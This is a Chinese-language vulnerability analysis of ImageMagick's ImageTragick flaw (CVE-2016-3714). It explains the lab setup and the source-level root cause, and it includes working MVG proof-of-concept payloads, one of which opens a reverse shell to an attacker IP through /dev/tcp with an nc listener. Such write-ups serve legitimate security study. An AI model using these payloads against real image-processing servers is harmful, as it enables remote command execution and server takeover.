1. 漏洞描述
- 漏洞編號: CVE-2016-3714
- 發現人員: Slack安全工程師Ryan Hube
- 漏洞簡述: 產生原因是因爲字符過濾不嚴謹所導致的執行代碼. 對於文件名傳遞給後端的命令過濾不足,導致允許多種文件格式轉換過程中遠程執行代碼。
- 影響版本:
- ImageMagick6.5.7-8 2012-08-17
- ImageMagick6.7.7-10 2014-03-06
- 低版本至6.9.3-9 released 2016-04-30
2. 漏洞分析
2.1 漏洞介紹
ImageMagick是一套功能強大、穩定而且開源的工具集和開發包,可以用來讀、寫和處理超過89種基本格式的圖片文件,包括流行的TIFF、JPEG、GIF、 PNG、PDF以及PhotoCD等格式。衆多的網站平臺都是用他渲染處理圖片。可惜在3號時被公開了一些列漏洞,其中一個漏洞可導致遠程執行代碼(RCE),如果你處理用戶提交的圖片。該漏洞是針對在野外使用此漏洞。許多圖像處理插件依賴於ImageMagick庫,包括但不限於PHP的imagick,Ruby的rmagick和paperclip,以及NodeJS的ImageMagick等。
產生原因是因爲字符過濾不嚴謹所導致的執行代碼. 對於文件名傳遞給後端的命令過濾不足,導致允許多種文件格式轉換過程中遠程執行代碼。
據ImageMagick官方,目前程序存在一處遠程命令執行漏洞(CVE-2016-3714),當其處理的上傳圖片帶有攻擊代碼時,可遠程實現遠程命令執行,進而可能控制服務器,此漏洞被命名爲ImageTragick。
2.2 漏洞環境搭建
- 首先我們需要一臺Linux虛擬機(這裏我用的是Ubuntu14.04)
- 找到相應的有漏洞的ImageMagick版本源碼進行源碼安裝注意:這個進行源碼安裝時可能會存在安裝時先安裝他的依賴包否則安裝會報錯
- 安裝完成,使用命令
convert -version
查看安裝是否成功,並且查看版本是否正確
- 要實現遠程代碼執行,還需要自己搭建一個服務器
- 安裝Apache+php,實現一個上傳圖片的網站,同時調用imagemagick的convert命令實現縮略圖功能。
2.3 漏洞驗證
2.3.1 本地代碼執行驗證
漏洞利用POC:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|whoami")'
pop graphic-context
把POC代碼編輯到poc.png圖片中,然後執行convert命令:
convert poc.png 1.png
查看返回結果:
可以看到命令whoami
已經執行並且返回出了結果。同理可以把whoami換成其他你想執行的任意命令。
2.3.2 遠程代碼執行驗證
訪問自己搭建的上傳圖片網站進行上傳圖片操作
構造反彈shell命令POC:
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.79/2333 0>&1")' pop graphic-context"
- 將POC存入test.png圖片中,進行圖片上傳操作,同時在你的攻擊機(192.168.1.79)中輸入命令
nc -ll -v -p 2333
對2333端口進行監聽 - 上傳圖片查看shell是否已經反彈
3. CVE-2016-3714漏洞分析
3.1 源代碼分析
在ImageTragick中,衆所周知,其實被處理的文件並不是一個圖片,而是一段被IMK處理的“腳本”。在軟件中對fill關鍵字的處理如下:
可以看到該處在進行了一系列判斷後,調用了ReadImage函數,此時:
從圖中可以看出,drawImage傳給ReadImage的參數還仍然是我們定義的參數字符串,
在文件magick/consititute.c中的352-767行定義了ReadImage函數,而該函數中在523行調用了InvokeDelegate函數:
同時在Ubuntu圖中,可以看到該處調用INVOKEDELEGATE函數時的參數中,把開頭的https給去掉了。InvokeDelegate函數定義在magick/delegate.c中的1075-1327行,其中可看到代碼又調用了ExternalDelegateCommand函數:
從Ubuntu圖中可看到傳給ExternalDelegateCommand函數中的command參數已經變成了拼接後的字符串,並且是一個完整的管道符號鏈接的兩條命令。往上看代碼可發現command參數主要是InterpretImageProperties函數的返回值,而InterpretImageProperties函數只是負責把傳入的字符串的特殊字符進行轉義、外加字符串處理(比如對%exif %filename %basename等字符串的處理,產生類似正則表達式引擎的效果)。
這裏,會來到一個比較有意思的地方:
該處會調用GetMagickPropertyLetter函數,我們跟進去看一下:
也就是該函數會對傳進來的字符返回特定的字符串。在KALI圖中已經看到,傳遞進來的參數是:curl –s –k –L –o “xxx” https://%M,所以這裏要替換的就是大寫M:
可看到這裏是直接返回了image->magick_filename,其實就是那串沒了https:開頭的URL,所以返回給GetMagickPropertyLetter函數的就是URL,而後如圖所GetMagickPropertyLetter函數直接把返回內容AppendString2Text了。
這就真的是直接拼接出來了帶有惡意命令的字符串,所以其實自始至終都沒有一個對字符串的過濾操作。
當從InterpretImageProperties函數返回後,就進入了ExternalDelegateCommand函數,而參數也已經是注入了額外命令的CURL字符串。
在ExternalDelegateCommand函數內,command會被直接system執行起來而導致命令注入。
另外,在InterpretImageProperties函數的代碼中,可以看到對< >等做出了處理,將實體字符轉義爲原字符,所以在其他的處理腳本委託時,不排除引起跨站的可能性。並且在代碼中,還發現MP4也是相同的函數引用路徑對MP4文件的URL進行獲取數據,所以MP4那個利用原理相同。另外,代碼中還發現很多方式的委託相互交叉引用,相信還有其他的利用方式,有待發掘。
3.2 漏洞利用點
所以我們可以構造一個.mvg格式的圖片(但文件名可以不爲.mvg,比如下圖中包含payload的文件的文件名爲vul.gif,而ImageMagick會根據其內容識別爲mvg圖片),並在https://後面閉合雙引號,寫入自己要執行的命令:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context
這樣,ImageMagick在正常執行圖片轉換、處理的時候就會觸發漏洞。